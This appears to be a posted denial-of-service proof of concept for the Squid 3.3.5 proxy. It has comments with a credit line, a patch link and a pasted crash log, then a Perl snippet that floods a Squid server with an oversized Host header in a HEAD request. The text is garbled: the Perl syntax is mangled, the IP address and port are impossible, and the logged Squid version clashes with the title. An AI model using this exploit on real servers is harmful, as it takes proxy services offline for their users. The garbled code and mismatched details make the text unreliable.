Squid-3.3.5 dos POC

# Squid crash POC # copyright (c) Kingdom 2013 # tested against squid-3.3.5 # This seems to be the patch for the vulnerability: # http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch#The squid-Cache service will respawn, looks like a kind of assert exception: #20:48:36 kid1 | closing http port 0.0.0.0: 3128 #20:48:36 kid1 | storedirwritecleanlogs: starting... #2013/07/15 20:48:36 kid1 | finished. wrote 0 entries. #20:48:36 kid1 | took 0.00 seconds (0.00 entries/sec ). # fatal: bungled (null) Line 9: snmp_access deny all # Squid cache (version 3.2.11): terminated abnormally. # CPU usage: 0.020 seconds = 0.012 user + 0.008 sys # maximum resident size: 33312 kb # page faults with physical I/O: 0 # memory usage for squid via mallinfo (): # total space in arena: 4100 kb # ordinary blocks: 4046 kb, 7 blks # small blocks: 0 kb, 0 blks # holding blocks: 564 kb, 2 blks # free small blocks: 0 kb # Free ordinary blocks: 53 kb # Total in use: 4610 kb 112% # total free: 53 kb 1% #20:48:39 kid1 | starting Squid Cache version 3.2.11 for i686-pc-linux-gnu... #192 20:48:39 kid1 | process ID 2990use IO: socket; my $ sock = IO: Socket: iNet-> New (peeraddr => '2017. 168.27.146 ', peerport => '000000', proto => 'tcp'); $ A = "YC" x 3128; print $ sock "head http://yahoo.com/HTTP/1.1 \ r \ nhost: Yahoo.com: $ A \ r \ n"; while (<$ sock>) {print ;}